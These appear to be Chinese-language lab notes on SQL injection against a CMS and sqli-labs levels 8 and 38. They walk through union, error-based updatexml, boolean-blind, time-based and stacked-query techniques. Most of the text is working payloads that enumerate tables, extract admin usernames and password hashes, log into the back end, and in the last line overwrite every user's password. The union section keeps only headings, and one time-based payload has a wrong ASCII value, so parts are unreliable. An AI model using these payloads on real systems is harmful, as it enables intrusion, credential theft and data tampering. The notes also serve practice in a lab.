目录
3.判断显示位(此处为3和11)N种方法,只需保证id后面的为假即可(改数字(法1)与加条件(法2))都可以。
挨个找到表名:cms_article;cms_category;cms_file;cms_friendlink;cms_message;cms_notice;cms_page;cms_users
联合查询
1.通过回显判断注入类型
2.判断数据库列数,此数据库为15列
3.判断显示位(此处为3和11)N种方法,只需保证id后面的为假即可(改数字(法1)与加条件(法2))都可以。
法1:
法2:
4.查看当前数据库的名字
5.查看有哪些表名
解密获得表名
6.查看有哪些列名
解密获得列名
7.查看密码
解密获得密码
8.后台登录
9.登录成功
报错注入
查找数据库名:
?id=35 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
查找表名:
?id=35 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database()),0x5e),1)
我问对其进行统计:共有8个
?id=35 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1)
挨个找到表名:cms_article;cms_category;cms_file;cms_friendlink;cms_message;cms_notice;cms_page;cms_users
查找列名:列太多
?id=35 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='cms_users'),0x5e),1)
统计列数:共3列
?id=35 and updatexml(1,concat(0x5e,(select count(*) from information_schema.columns where table_schema=database() and table_name='cms_users'),0x5e),1)
挨个输出
userid
username
password
?id=35 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 0,1),0x5e),1)
用户名:
?id=35 and updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1)
密码:太长无法输出全部
?id=35 and updatexml(1,concat(0x5e,(select password from cms_users limit 0,1),0x5e),1)
统计长度:32位
?id=35 and updatexml(1,concat(0x5e,(select length(password) from cms_users limit 0,1),0x5e),1)
先输出前16位
?id=35 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users limit 0,1),0x5e),1)
输出后16位
?id=35 and updatexml(1,concat(0x5e,(select substr(password,17,16) from cms_users limit 0,1),0x5e),1)
拼接解密:
布尔盲注
以sqli-labs第8关为例
判断数据库名的长度:8位
?id=2' and length(database())=8 --+
判断第一个字母:s
?id=2' and ascii(substr((select database()),1,1))=115 --+
判断第二个字母:e
?id=2' and ascii(substr((select database()),2,1))=101 --+
判断第三个字母:c
?id=2' and ascii(substr((select database()),3,1))=99 --+
判断第四个字母:u
?id=2' and ascii(substr((select database()),4,1))=117 --+
判断第五个字母:r
?id=2' and ascii(substr((select database()),5,1))=114 --+
判断第六个字母:i
?id=2' and ascii(substr((select database()),6,1))=105 --+
判断第七个字母:t
?id=2' and ascii(substr((select database()),7,1))=116 --+
判断第八个字母:y
?id=2' and ascii(substr((select database()),8,1))=121 --+
最终获得数据库名:security
延时注入
判断版本号长度:6位
?id=2' and if(length(version())=6,sleep(5),1) --+
第一位数:5
?id=2' and if((ascii(substr(version(),1,1))=53),sleep(5),1) --+
第二位数:.
?id=2' and if((ascii(substr(version(),2,1))=46),sleep(5),1) --+
第三位数:5
?id=2' and if((ascii(substr(version(),3,1))=53),sleep(5),1) --+
第四位数:.
?id=2' and if((ascii(substr(version(),4,1))=46),sleep(5),1) --+
第五位数:5
?id=2' and if((ascii(substr(version(),5,1))=53),sleep(5),1) --+
第六位数:3
?id=2' and if((ascii(substr(version(),6,1))=5),sleep(5),1) --+
获得版本号:5.5.53
堆叠查询
以sqli-labs_38 为例子
通过堆叠查询,修改所有用户密码为654321
?id=2';update users set password='654321' --+